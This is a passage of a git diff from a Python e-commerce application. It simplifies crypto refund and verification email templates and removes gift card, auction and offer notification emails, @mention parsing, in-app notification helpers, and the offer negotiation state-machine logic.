@ -426,17 +389,9 @@ def send_refund_email(request, to_email, crypto_payment, refund_details):
CryptoPayment.STATUS_OUT_OF_STOCK_NOT_REFUNDED,
CryptoPayment.STATUS_DOUBLEPAY_NOT_REFUNDED,
]:
# Check if it's economically unviable vs no refund address
if (
crypto_payment.refund_reason
and "economically unviable" in crypto_payment.refund_reason
):
subject = f"Payment Issue - Refund Too Small - {crypto_payment.coin_type}"
explanation = f"Your payment of {received_amount} {crypto_payment.coin_type} results in a refund amount too small to cover network transaction fees. The refund would cost more to send than its value."
else:
subject = f"Payment Issue - No Refund Address - {crypto_payment.coin_type}"
explanation = "We were unable to process a refund for your payment because no refund address was configured."
has_fee = None # No refund means no fee message should be shown
subject = f"Payment Issue - No Refund Address - {crypto_payment.coin_type}"
explanation = "We were unable to process a refund for your payment because no refund address was configured. Please contact support if you need assistance."
has_fee = False # No refund means no fee calculation
else:
subject = f"Refund Initiated - {crypto_payment.coin_type}"
@ -444,25 +399,13 @@ def send_refund_email(request, to_email, crypto_payment, refund_details):
has_fee = fee_amount > 0
# Set the fee note based on whether there's a fee
if has_fee is None:
fee_note = "" # No fee note for no-refund cases
elif has_fee:
if has_fee:
fee_note = "A 9% restocking fee has been deducted to cover processing costs."
else:
fee_note = "No fees have been deducted - you will receive the full amount."
# Build the message text based on whether there's actually a refund
if has_fee is None:
# No refund case - don't show refund details
message_text = f"""{explanation}
Payment Details:
- Payment Amount: {received_amount} {crypto_payment.coin_type}
- Payment ID: {crypto_payment.id}
"""
else:
# Normal refund case - show refund details
message_text = f"""{explanation}
# Build the message text
message_text = f"""{explanation}
Refund Details:
- Original Payment: {received_amount} {crypto_payment.coin_type}
@ -474,35 +417,12 @@ Refund Details:
{fee_note}
Please allow up to 10 confirmations for the refund to be fully processed.
If you have any questions, please contact support with your payment ID: {crypto_payment.id}
"""
# Build the HTML message based on whether there's actually a refund
if has_fee is None:
# No refund case - simplified HTML
message_html = f"""
<html>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
<h2>{subject}</h2>
<p>{explanation}</p>
<h3>Payment Details</h3>
<table style="border-collapse: collapse; margin: 20px 0;">
<tr>
<td style="padding: 8px; font-weight: bold;">Payment Amount:</td>
<td style="padding: 8px;">{received_amount} {crypto_payment.coin_type}</td>
</tr>
<tr>
<td style="padding: 8px; font-weight: bold;">Payment ID:</td>
<td style="padding: 8px; font-family: monospace;">{crypto_payment.id}</td>
</tr>
</table>
</body>
</html>
"""
else:
# Normal refund case - full HTML with refund details
message_html = f"""
# Build the HTML message
message_html = f"""
<html>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
<h2>{subject}</h2>
@ -537,6 +457,10 @@ Please allow up to 10 confirmations for the refund to be fully processed.
<p style="color: #666; font-style: italic;">
Please allow up to 10 confirmations for the refund to be fully processed.
</p>
<p style="font-size: 0.9em; color: #999;">
If you have any questions, please contact support with your payment ID: <code>{crypto_payment.id}</code>
</p>
</body>
</html>
"""
@ -568,209 +492,3 @@ def send_invite_email(request, to_email, user, shop):
message_text = INVITE_1_TEXT.format(user.email, shop.name, join_link)
message_html = INVITE_1_HTML.format(subject, user.email, shop.name, join_link)
send_pyramid_email(request, to_email, subject, message_text, message_html)
def send_gift_card_email(request, gift_card):
"""Send gift card code to the recipient email."""
from ..lib.currency import cents_to_dollars
to_email = gift_card.gift_email
shop_name = gift_card.shop.name
amount = f"${cents_to_dollars(gift_card.initial_amount_in_cents):,.2f}"
code = gift_card.code
shop_url = gift_card.shop.absolute_url(request)
gift_message = gift_card.gift_message or ""
subject = f"You received a {amount} gift card for {shop_name}"
message_parts = [
f"You received a {amount} gift card for {shop_name}!",
f"",
f"Your gift card code: {code}",
f"",
]
if gift_message:
message_parts.append(f"Message: {gift_message}")
message_parts.append("")
message_parts.extend([
f"To redeem, enter the code at checkout when shopping at {shop_name}.",
f"",
f"Visit: {shop_url}",
f"",
f"This gift card never expires.",
])
message_text = "\n".join(message_parts)
html_parts = [
f"<h2>You received a {amount} gift card for {shop_name}!</h2>",
f"<p><strong>Your gift card code:</strong></p>",
f"<p style='font-size: 24px; font-family: monospace; background: #f0f0f0; padding: 12px; display: inline-block;'>{code}</p>",
]
if gift_message:
html_parts.append(f"<p><em>{gift_message}</em></p>")
html_parts.extend([
f"<p>To redeem, enter the code at checkout when shopping at <a href='{shop_url}'>{shop_name}</a>.</p>",
f"<p><small>This gift card never expires.</small></p>",
])
message_html = "\n".join(html_parts)
send_pyramid_email(request, to_email, subject, message_text, message_html)
# ── Auction & offer notifications (MPS-20 + MPS-21) ──────────────────────────
def send_auction_outbid_email(request, to_email, auction):
"""Notify the previous high bidder that they have been outbid."""
auction_url = f"{request.host_url}/a/{auction.uuid_str}"
subject = f'You have been outbid on "{auction.product.title}"'
text = AUCTION_OUTBID_TEXT.format(
title=auction.product.title,
high=f"{auction.current_high:.2f}",
auction_url=auction_url,
)
html = AUCTION_OUTBID_HTML.format(
title=auction.product.title,
high=f"{auction.current_high:.2f}",
auction_url=auction_url,
thumbnail=_product_thumbnail_html(request, auction.product),
)
send_pyramid_email(request, to_email, subject, text, html)
def _product_thumbnail_html(request, product):
"""Render a tokenized thumbnail <img> tag for inclusion in a
transactional email body, or empty string if the product has no
thumbnail1 extension uploaded.
Sized for 184px max — same dimensions as the purchase/sale emails
use, so the recipient sees a consistent image card across the whole
email surface. Returns "" (not None) so format calls can splice
without conditional logic.
"""
if product is None or "thumbnail1" not in getattr(product, "extensions", []):
return ""
cdn = getattr(request, "shop_cdn_endpoint", None)
if not cdn:
return ""
return (
'<img src="{cdn}/{path}/thumbnail1?ts={ts}" '
'style="border: 1px solid #ddd; border-radius: 4px; '
'max-width: 184px; max-height: 184px; width: auto; '
'height: auto;" alt="" />'
).format(
cdn=cdn,
path=product.s3_path,
ts=product.updated_timestamp,
)
def send_offer_received_email(request, to_email, offer):
"""Notify a shop owner that a new offer arrived for review."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'New offer for "{offer.product.title}"'
text = OFFER_RECEIVED_TEXT.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
)
html = OFFER_RECEIVED_HTML.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(request, to_email, subject, text, html)
def send_offer_accepted_email(request, to_email, offer):
"""Notify the buyer that their offer (or counter) was accepted."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Your offer for "{offer.product.title}" was accepted'
text = OFFER_ACCEPTED_TEXT.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
)
html = OFFER_ACCEPTED_HTML.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(request, to_email, subject, text, html)
def send_offer_countered_email(request, to_email, offer):
"""Notify the OTHER party that their counterpart countered. Caller
decides 'other party' — buyer gets it when seller counters, seller
gets it when buyer counters back."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Counter offer on "{offer.product.title}"'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_COUNTERED_TEXT.format(**fmt),
OFFER_COUNTERED_HTML.format(**fmt),
)
def send_offer_declined_email(request, to_email, offer):
"""Notify the buyer that the seller manually declined their offer.
Auto-decline (sub-threshold) is intentionally silent — the flash on
submit already explains it inline."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Your offer for "{offer.product.title}" was declined'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_DECLINED_TEXT.format(**fmt),
OFFER_DECLINED_HTML.format(**fmt),
)
def send_offer_withdrawn_email(request, to_email, offer):
"""Notify the seller that the buyer withdrew their offer before
the seller responded. (Distinct from buyer-cancel-after-accept,
which has its own helper.)"""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Offer withdrawn on "{offer.product.title}"'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_WITHDRAWN_TEXT.format(**fmt),
OFFER_WITHDRAWN_HTML.format(**fmt),
)
def send_offer_buyer_cancelled_email(request, to_email, offer):
"""Notify the seller that the buyer cancelled an *already-accepted*
offer before paying. The seller is owed the explicit notice —
otherwise they'd keep waiting for a payment that's never coming."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Buyer cancelled accepted offer on "{offer.product.title}"'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_BUYER_CANCELLED_TEXT.format(**fmt),
OFFER_BUYER_CANCELLED_HTML.format(**fmt),
)

300
make_post_sell/lib/mail_messages.py
View file

@ -12,19 +12,11 @@ WELCOME_1_HTML = """
<html>
<head>
<title>{0}</title>
<style>
.otp-code {{
font-size: 3em;
font-weight: bold;
letter-spacing: 0.1em;
margin: 1em 0;
}}
</style>
</head>
<body>
<h1 class="otp-code">{1}</h1>
<h2>Hey there!</h2>
<p>Hey there!</p>
<p><b>{1}</b></p>
<p>
Here is the verification code you requested.
@ -206,291 +198,3 @@ Thanks for sharing! <3
</html>
"""
# 0: shop_name,
# 1: verify_url,
# 2: unsubscribe_url
VERIFY_SUBSCRIPTION_TEXT = """
You requested to subscribe to email digests from {0}.
Please verify your email by visiting this link:
{1}
If you did not request this, you can ignore this email or unsubscribe:
{2}
"""
# 0: subject,
# 1: shop_name,
# 2: verify_url,
# 3: unsubscribe_url
VERIFY_SUBSCRIPTION_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>{0}</title>
</head>
<body>
<h2>Verify Your Subscription</h2>
<p>
You requested to subscribe to email digests from <b>{1}</b>.
</p>
<p>
<a href="{2}" style="font-weight: bold;">Click here to verify your email</a>
</p>
<p style="font-size: .8em; color: #aaaaaa;">
If you did not request this, you can ignore this email or
<a href="{3}">unsubscribe</a>.
</p>
</body>
</html>
"""
# 0: shop_name,
# 1: items_text,
# 2: unsubscribe_url
DIGEST_TEXT = """
New from {0}:
{1}
To unsubscribe from these digests:
{2}
"""
# 0: subject,
# 1: shop_name,
# 2: items_html,
# 3: unsubscribe_url
DIGEST_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>{0}</title>
</head>
<body>
<h2>New from {1}</h2>
{2}
<p style="font-size: .8em; color: #aaaaaa;">
<a href="{3}">Unsubscribe</a> from these digests.
</p>
</body>
</html>
"""
# 0: commenter_name,
# 1: product_title,
# 2: comment_text,
# 3: product_url
MENTION_TEXT = """
{0} mentioned you in a comment on "{1}":
{2}
View the comment:
{3}
"""
# 0: subject,
# 1: commenter_name,
# 2: product_title,
# 3: comment_text,
# 4: product_url
MENTION_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>{0}</title>
</head>
<body>
<h2>You were mentioned in a comment</h2>
<p>
<b>{1}</b> mentioned you in a comment on "<b>{2}</b>":
</p>
<blockquote style="border-left: 3px solid #ccc; padding-left: 10px; color: #555;">
{3}
</blockquote>
<p>
<a href="{4}" style="font-weight: bold;">View the comment</a>
</p>
</body>
</html>
"""
# ── Auction & offer notifications (MPS-20 + MPS-21) ──────────────────────────
AUCTION_OUTBID_TEXT = """
You have been outbid on "{title}".
Current high: ${high}.
Place a new bid to stay in the game:
{auction_url}
"""
AUCTION_OUTBID_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>You have been outbid</h2>
<p>Someone outbid you on <strong>{title}</strong>.</p>
{thumbnail}
<p>Current high: <strong>${high}</strong>.</p>
<p><a href="{auction_url}" style="font-weight: bold;">Place a new bid</a></p>
</body>
</html>
"""
OFFER_RECEIVED_TEXT = """
You received a new offer of ${amount} for "{title}".
Review and respond:
{offer_url}
"""
OFFER_RECEIVED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>New offer received</h2>
<p>You received a new offer of <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">View offer</a></p>
</body>
</html>
"""
OFFER_ACCEPTED_TEXT = """
Your offer of ${amount} for "{title}" was accepted.
Pay now to complete the purchase:
{offer_url}
"""
OFFER_ACCEPTED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Offer accepted</h2>
<p>Your offer of <strong>${amount}</strong> for <strong>{title}</strong> was accepted.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">Pay now</a></p>
</body>
</html>
"""
OFFER_COUNTERED_TEXT = """
The other party countered with ${amount} for "{title}".
Accept, counter, or decline:
{offer_url}
"""
OFFER_COUNTERED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Counter offer received</h2>
<p>The other party countered with <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">Review and respond</a></p>
</body>
</html>
"""
OFFER_DECLINED_TEXT = """
Your offer of ${amount} for "{title}" was declined.
View details:
{offer_url}
"""
OFFER_DECLINED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Offer declined</h2>
<p>Your offer of <strong>${amount}</strong> for <strong>{title}</strong> was declined.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">View details</a></p>
</body>
</html>
"""
OFFER_WITHDRAWN_TEXT = """
The buyer withdrew their offer of ${amount} for "{title}".
View details:
{offer_url}
"""
OFFER_WITHDRAWN_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Offer withdrawn</h2>
<p>The buyer withdrew their offer of <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">View details</a></p>
</body>
</html>
"""
OFFER_BUYER_CANCELLED_TEXT = """
The buyer cancelled their accepted offer of ${amount} for "{title}".
You accepted this offer earlier but the buyer backed out before paying.
View details:
{offer_url}
"""
OFFER_BUYER_CANCELLED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Buyer cancelled accepted offer</h2>
<p>The buyer cancelled their accepted offer of <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p>You accepted this offer earlier but the buyer backed out before paying.</p>
<p><a href="{offer_url}" style="font-weight: bold;">View details</a></p>
</body>
</html>
"""

93
make_post_sell/lib/mentions.py
View file

@ -1,93 +0,0 @@
"""
@mention parsing and notification for comments.
Parses @username patterns from comment text and sends immediate
email notifications to mentioned users.
"""
import re
import logging
from .mail import send_pyramid_email
from .mail_messages import MENTION_TEXT, MENTION_HTML
from ..models.user import get_user_by_name
log = logging.getLogger(__name__)
# Matches @username where username is 3-64 chars of alphanumeric + dashes,
# must start and end with alphanumeric. Preceded by start-of-string or whitespace.
MENTION_PATTERN = re.compile(
r"(?:^|(?<=\s))@([a-zA-Z0-9][a-zA-Z0-9\-]{1,62}[a-zA-Z0-9])"
)
def extract_mentions(text):
"""Extract unique @mentioned usernames from text (without the @)."""
if not text:
return []
matches = MENTION_PATTERN.findall(text)
# Deduplicate while preserving order
seen = set()
unique = []
for m in matches:
lower = m.lower()
if lower not in seen:
seen.add(lower)
unique.append(m)
return unique
def notify_mentioned_users(request, comment, author_user):
"""
Parse @mentions from a comment and send email notifications.
Skips self-mentions and unverified users.
"""
usernames = extract_mentions(comment.data)
if not usernames:
return
product = comment.product
product_url = product.absolute_url(request)
comment_url = f"{product_url}#comment-{comment.id}"
commenter_name = author_user.name if author_user else "Someone"
for username in usernames:
mentioned_user = get_user_by_name(request.dbsession, username)
if not mentioned_user:
continue
# Skip self-mentions
if author_user and mentioned_user.id == author_user.id:
continue
# Skip unverified users (no valid email to send to)
if not mentioned_user.verified:
continue
subject = f"{commenter_name} mentioned you in a comment"
message_text = MENTION_TEXT.format(
commenter_name,
product.title,
comment.data,
comment_url,
)
message_html = MENTION_HTML.format(
subject,
commenter_name,
product.title,
comment.data_html or comment.data,
comment_url,
)
try:
send_pyramid_email(
request, mentioned_user.email, subject, message_text, message_html
)
log.info(f"Sent mention notification to {mentioned_user.email}")
except Exception as e:
log.error(
f"Failed to send mention notification to {mentioned_user.email}: {e}"
)

260
make_post_sell/lib/notifications.py
View file

@ -1,260 +0,0 @@
"""Thin orchestration layer over MpsNotification — one call per
event, dropping the right row(s) for the right recipient(s).
Every transactional email surface in MPS (purchase, sale, auction
outbid, offer state transitions) should pair with a notification
persist so the user has a permanent in-app inbox independent of
whether their email client rendered the message. This module is the
shared call site for the non-offer surfaces; offer transitions live
inline in views/offer.py via _notify_offer_event for symmetry with
the per-action state guards there.
All helpers are non-fatal — a notification persist failure logs and
moves on. The HTTP response must never 500 because the inbox row
couldn't be written.
"""
import logging
from ..models.notification import (
MpsNotification,
NOTIFICATION_KIND_PURCHASE,
NOTIFICATION_KIND_SALE,
NOTIFICATION_KIND_AUCTION_OUTBID,
NOTIFICATION_KIND_AUCTION_WON,
NOTIFICATION_KIND_AUCTION_ENDED_NO_WINNER,
NOTIFICATION_KIND_AUCTION_CANCELLED,
NOTIFICATION_KIND_OFFER_EXPIRED,
)
log = logging.getLogger(__name__)
def _resolve_session(target):
"""Accept either a Pyramid request or a SQLAlchemy Session.
Tick jobs pass the session directly; views pass `request`. This
isolation lets the same orchestrator work in both contexts.
"""
dbsession = getattr(target, "dbsession", None)
return dbsession if dbsession is not None else target
def _safe_add(target, notification):
try:
_resolve_session(target).add(notification)
except Exception:
log.exception("notification persist failed (non-fatal)")
def _invoice_first_product_title(invoice):
"""Best-effort label for purchase/sale notification subjects."""
try:
first = invoice.line_items.first()
if first is not None and first.product is not None:
return first.product.title
except Exception:
pass
return None
def notify_purchase_and_sale(target, invoice):
"""Drop a purchase notification for the buyer and a sale
notification for each shop owner on this invoice. Idempotent
per (recipient × invoice × kind) is NOT enforced — callers wire
this in once per cart-completion path, same as the email sends.
Accepts a request or a dbsession.
Non-fatal: any exception (incl. unit-test mocks with non-numeric
totals) is logged and swallowed. A notification persist failure
must not propagate up the payment-finalization stack.
"""
if invoice is None:
return
try:
_notify_purchase_and_sale_inner(target, invoice)
except Exception:
log.exception("notify_purchase_and_sale failed (non-fatal)")
def _notify_purchase_and_sale_inner(target, invoice):
title_hint = _invoice_first_product_title(invoice)
total_str = f"${invoice.total:.2f}"
# Buyer side.
if invoice.user is not None:
purchase_subject = (
f'Purchase complete: {title_hint}' if title_hint
else "Purchase complete"
)
_safe_add(
target,
MpsNotification(
user=invoice.user,
kind=NOTIFICATION_KIND_PURCHASE,
subject=purchase_subject,
body=f'{total_str} charged. Click to view receipt.',
link_url=f"/i/{invoice.uuid_str}",
shop=invoice.shop,
invoice=invoice,
),
)
# Seller side — every shop owner.
if invoice.shop is not None:
sale_subject = (
f'New sale: {title_hint}' if title_hint else "New sale"
)
for owner in invoice.shop.owners:
if owner is None:
continue
_safe_add(
target,
MpsNotification(
user=owner,
kind=NOTIFICATION_KIND_SALE,
subject=sale_subject,
body=f'{total_str} from {invoice.user.display_name}.'
if invoice.user else f'{total_str}.',
link_url=f"/i/{invoice.uuid_str}",
shop=invoice.shop,
invoice=invoice,
),
)
def notify_auction_outbid(target, prior_bidder, auction):
"""Drop a notification for the previous winning bidder when a new
higher bid lands. Mirrors the existing send_auction_outbid_email.
Non-fatal — failures (incl. mock-typed inputs from unit tests) are
logged and swallowed."""
if prior_bidder is None or auction is None:
return
try:
title_hint = auction.product.title if auction.product else "auction"
_safe_add(
target,
MpsNotification(
user=prior_bidder,
kind=NOTIFICATION_KIND_AUCTION_OUTBID,
subject=f'You were outbid on "{title_hint}"',
body=f'Current high: ${auction.current_high:.2f}. Click to bid again.',
link_url=f"/a/{auction.uuid_str}",
shop=auction.shop,
auction=auction,
),
)
except Exception:
log.exception("notify_auction_outbid failed (non-fatal)")
def notify_auction_won(target, auction):
"""Drop a notification for the auction winner when the auction
transitions ACTIVE → ENDED with a winner. Fired by auction_tick;
the buyer needs the pay-by deadline before it lapses. Non-fatal."""
if auction is None or auction.winner is None:
return
try:
title_hint = auction.product.title if auction.product else "auction"
_safe_add(
target,
MpsNotification(
user=auction.winner,
kind=NOTIFICATION_KIND_AUCTION_WON,
subject=f'You won the auction for "{title_hint}"',
body=(
f'Pay ${auction.current_high:.2f} to claim it. '
"Auction will be released to the next-highest bidder if "
"payment lapses."
),
link_url=f"/a/{auction.uuid_str}",
shop=auction.shop,
auction=auction,
),
)
except Exception:
log.exception("notify_auction_won failed (non-fatal)")
def notify_auction_ended_no_winner(target, auction):
"""Drop a notification for shop owners when an auction ends with
no winner (no bids or reserve not met). Lets the seller decide
whether to relist. Non-fatal."""
if auction is None or auction.shop is None:
return
try:
_notify_auction_ended_no_winner_inner(target, auction)
except Exception:
log.exception("notify_auction_ended_no_winner failed (non-fatal)")
def _notify_auction_ended_no_winner_inner(target, auction):
title_hint = auction.product.title if auction.product else "auction"
for owner in auction.shop.owners:
if owner is None:
continue
_safe_add(
target,
MpsNotification(
user=owner,
kind=NOTIFICATION_KIND_AUCTION_ENDED_NO_WINNER,
subject=f'Auction ended without a winner: "{title_hint}"',
body=(
"No bids met the reserve. Consider relisting at a lower "
"start price or with no reserve."
),
link_url=f"/a/{auction.uuid_str}",
shop=auction.shop,
auction=auction,
),
)
def notify_offer_expired(target, offer):
"""Drop notifications when an offer auto-expires — both pre-accept
(seller didn't respond in the negotiation window) and post-accept
(buyer never paid). Both buyer and seller(s) get a row. Non-fatal."""
if offer is None:
return
try:
_notify_offer_expired_inner(target, offer)
except Exception:
log.exception("notify_offer_expired failed (non-fatal)")
def _notify_offer_expired_inner(target, offer):
title_hint = offer.product.title if offer.product else "offer"
subject = f'Offer expired: "{title_hint}"'
body = f'${offer.current_amount:.2f} offer auto-expired.'
# Buyer.
if offer.buyer is not None:
_safe_add(
target,
MpsNotification(
user=offer.buyer,
kind=NOTIFICATION_KIND_OFFER_EXPIRED,
subject=subject,
body=body,
link_url=f"/o/{offer.uuid_str}",
shop=offer.shop,
offer=offer,
),
)
# Seller(s).
if offer.shop is not None:
for owner in offer.shop.owners:
if owner is None:
continue
_safe_add(
target,
MpsNotification(
user=owner,
kind=NOTIFICATION_KIND_OFFER_EXPIRED,
subject=subject,
body=body,
link_url=f"/o/{offer.uuid_str}",
shop=offer.shop,
offer=offer,
),
)

431
make_post_sell/lib/offer.py
View file

@ -1,431 +0,0 @@
"""Offer logic — MPS-21.
Pure validators + orchestrators for the make-an-offer state machine.
Buyer opens an offer, seller counters or accepts. Either party can
walk away with decline/withdraw. The round counter caps haggling
loops; expiration_hours auto-ages out stale offers.
Auto-accept / auto-decline:
- When buyer opens with amount >= list_price * (auto_accept_threshold_pct / 100),
the offer skips seller queue and lands in ACCEPTED state.
- When amount < list_price * (auto_decline_threshold_pct / 100),
the offer goes straight to DECLINED. Seller never sees the lowball.
These thresholds are shop-level settings (offer_auto_accept_threshold_pct,
offer_auto_decline_threshold_pct) with sane defaults (95 and 50).
Self-offer (buyer == seller) blocking is the view layer's job — same
pattern as auctions.
"""
from ..models.offer import (
MpsOffer,
MpsOfferEvent,
OFFER_STATE_PENDING,
OFFER_STATE_ACCEPTED,
OFFER_STATE_COUNTERED,
OFFER_STATE_DECLINED,
OFFER_STATE_EXPIRED,
OFFER_STATE_WITHDRAWN,
OFFER_STATE_PAID,
OFFER_STATE_BUYER_CANCELLED,
OFFER_TERMINAL_STATES,
OFFER_PARTY_BUYER,
OFFER_PARTY_SELLER,
OFFER_PARTY_OTHER,
OFFER_EVENT_OPEN,
OFFER_EVENT_COUNTER,
OFFER_EVENT_ACCEPT,
OFFER_EVENT_DECLINE,
OFFER_EVENT_WITHDRAW,
OFFER_EVENT_EXPIRE,
OFFER_EVENT_PAY,
OFFER_EVENT_BUYER_CANCEL,
DEFAULT_OFFER_EXPIRATION_HOURS,
DEFAULT_OFFER_MAX_ROUNDS,
DEFAULT_OFFER_AUTO_ACCEPT_PCT,
DEFAULT_OFFER_AUTO_DECLINE_PCT,
DEFAULT_OFFER_ACCEPTANCE_PAYMENT_HOURS,
now_timestamp,
)
class OfferRejected(Exception):
"""Raised when an offer action is invalid. Reason in .args[0]."""
# ── Pure helpers ─────────────────────────────────────────────────────────────
def validate_actor_turn(actor_party, current_party, offer_state):
"""Raise OfferRejected if it's not actor_party's turn to act on a
pending/countered offer.
Pure: caller resolves whether the user is buyer or seller and passes
actor_party as OFFER_PARTY_BUYER or OFFER_PARTY_SELLER.
"""
if offer_state in OFFER_TERMINAL_STATES:
raise OfferRejected("offer is terminal")
if actor_party != current_party:
raise OfferRejected("not your turn to act on this offer")
def validate_round_cap(round_count, max_rounds):
"""Raise OfferRejected if round_count has reached max_rounds.
The opening offer is round 0; first counter takes it to 1. Once
round_count >= max_rounds, no more counters are allowed and the
current party must accept or decline.
"""
if round_count >= max_rounds:
raise OfferRejected(
f"counter limit ({max_rounds}) reached — accept or decline only"
)
def validate_floor(amount_in_cents, floor_in_cents):
"""Raise OfferRejected if amount is below shop floor.
floor_in_cents may be None (no floor configured); pass through as valid.
"""
if floor_in_cents is None:
return
if amount_in_cents < floor_in_cents:
raise OfferRejected("offer below shop minimum")
def auto_resolve_open(amount_in_cents, list_price_in_cents,
auto_accept_pct, auto_decline_pct):
"""Pure: classify a new offer against shop thresholds.
Returns one of "accept", "decline", or "queue" (seller decides).
The percentages are integers in [0, 100]; threshold is computed as
list_price * pct / 100 with truncation.
auto_accept fires first: amount >= list * accept_pct / 100 → accept.
auto_decline fires next: amount < list * decline_pct / 100 → decline.
Otherwise → queue for seller review.
"""
if list_price_in_cents <= 0:
return "queue" # free product or unset; never auto-resolve
accept_floor = (list_price_in_cents * auto_accept_pct) // 100
decline_floor = (list_price_in_cents * auto_decline_pct) // 100
if amount_in_cents >= accept_floor:
return "accept"
if amount_in_cents < decline_floor:
return "decline"
return "queue"
# ── Orchestrators ────────────────────────────────────────────────────────────
def open_offer(
dbsession,
product,
shop,
buyer,
amount_in_cents,
buyer_message=None,
now_ms=None,
):
"""Create an MpsOffer and write the OPEN event. Applies auto-accept /
auto-decline thresholds before queuing for seller. Returns the new
offer in whichever terminal/non-terminal state results.
"""
if now_ms is None:
now_ms = now_timestamp()
floor = getattr(shop, "offer_min_in_cents", None)
validate_floor(amount_in_cents, floor)
expiration_hours = (
getattr(shop, "offer_expiration_hours", None)
or DEFAULT_OFFER_EXPIRATION_HOURS
)
expires_timestamp = now_ms + (expiration_hours * 3600 * 1000)
offer = MpsOffer(
product=product,
shop=shop,
buyer=buyer,
amount_in_cents=amount_in_cents,
expires_timestamp=expires_timestamp,
buyer_message=buyer_message,
)
dbsession.add(offer)
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_OPEN,
actor=buyer,
amount_in_cents=amount_in_cents,
message=buyer_message,
)
)
# Auto-accept / auto-decline.
auto_accept_pct = (
getattr(shop, "offer_auto_accept_threshold_pct", None)
or DEFAULT_OFFER_AUTO_ACCEPT_PCT
)
auto_decline_pct = (
getattr(shop, "offer_auto_decline_threshold_pct", None)
or DEFAULT_OFFER_AUTO_DECLINE_PCT
)
decision = auto_resolve_open(
amount_in_cents=amount_in_cents,
list_price_in_cents=product.price_in_cents,
auto_accept_pct=auto_accept_pct,
auto_decline_pct=auto_decline_pct,
)
if decision == "accept":
offer.state = OFFER_STATE_ACCEPTED
offer.last_action_timestamp = now_ms
offer.accepted_timestamp = now_ms
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_ACCEPT,
actor=None, # system
amount_in_cents=amount_in_cents,
message="auto-accept threshold met",
)
)
elif decision == "decline":
offer.state = OFFER_STATE_DECLINED
offer.last_action_timestamp = now_ms
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_DECLINE,
actor=None,
amount_in_cents=amount_in_cents,
message="auto-decline threshold not met",
)
)
dbsession.flush()
return offer
def counter_offer(
offer,
actor,
actor_party,
new_amount_in_cents,
message=None,
now_ms=None,
):
"""The current_party counters with a new amount. Flips current_party
to the other side, increments round_count, sets state to COUNTERED.
Raises OfferRejected if it's not the actor's turn or the round cap
has been reached.
"""
if now_ms is None:
now_ms = now_timestamp()
validate_actor_turn(actor_party, offer.current_party, offer.state)
shop = offer.shop
max_rounds = getattr(shop, "offer_max_rounds", None) or DEFAULT_OFFER_MAX_ROUNDS
validate_round_cap(offer.round_count, max_rounds)
validate_floor(new_amount_in_cents, getattr(shop, "offer_min_in_cents", None))
offer.current_amount_in_cents = new_amount_in_cents
offer.current_party = OFFER_PARTY_OTHER[offer.current_party]
offer.last_action_timestamp = now_ms
offer.round_count += 1
offer.state = OFFER_STATE_COUNTERED
if actor_party == OFFER_PARTY_SELLER:
offer.seller_message = message
else:
offer.buyer_message = message
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_COUNTER,
actor=actor,
amount_in_cents=new_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def accept_offer(offer, actor, actor_party, message=None, now_ms=None):
"""Accept whatever amount is currently on the table. Either party
can accept what's been countered to them. Terminal."""
if now_ms is None:
now_ms = now_timestamp()
validate_actor_turn(actor_party, offer.current_party, offer.state)
offer.state = OFFER_STATE_ACCEPTED
offer.last_action_timestamp = now_ms
offer.accepted_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
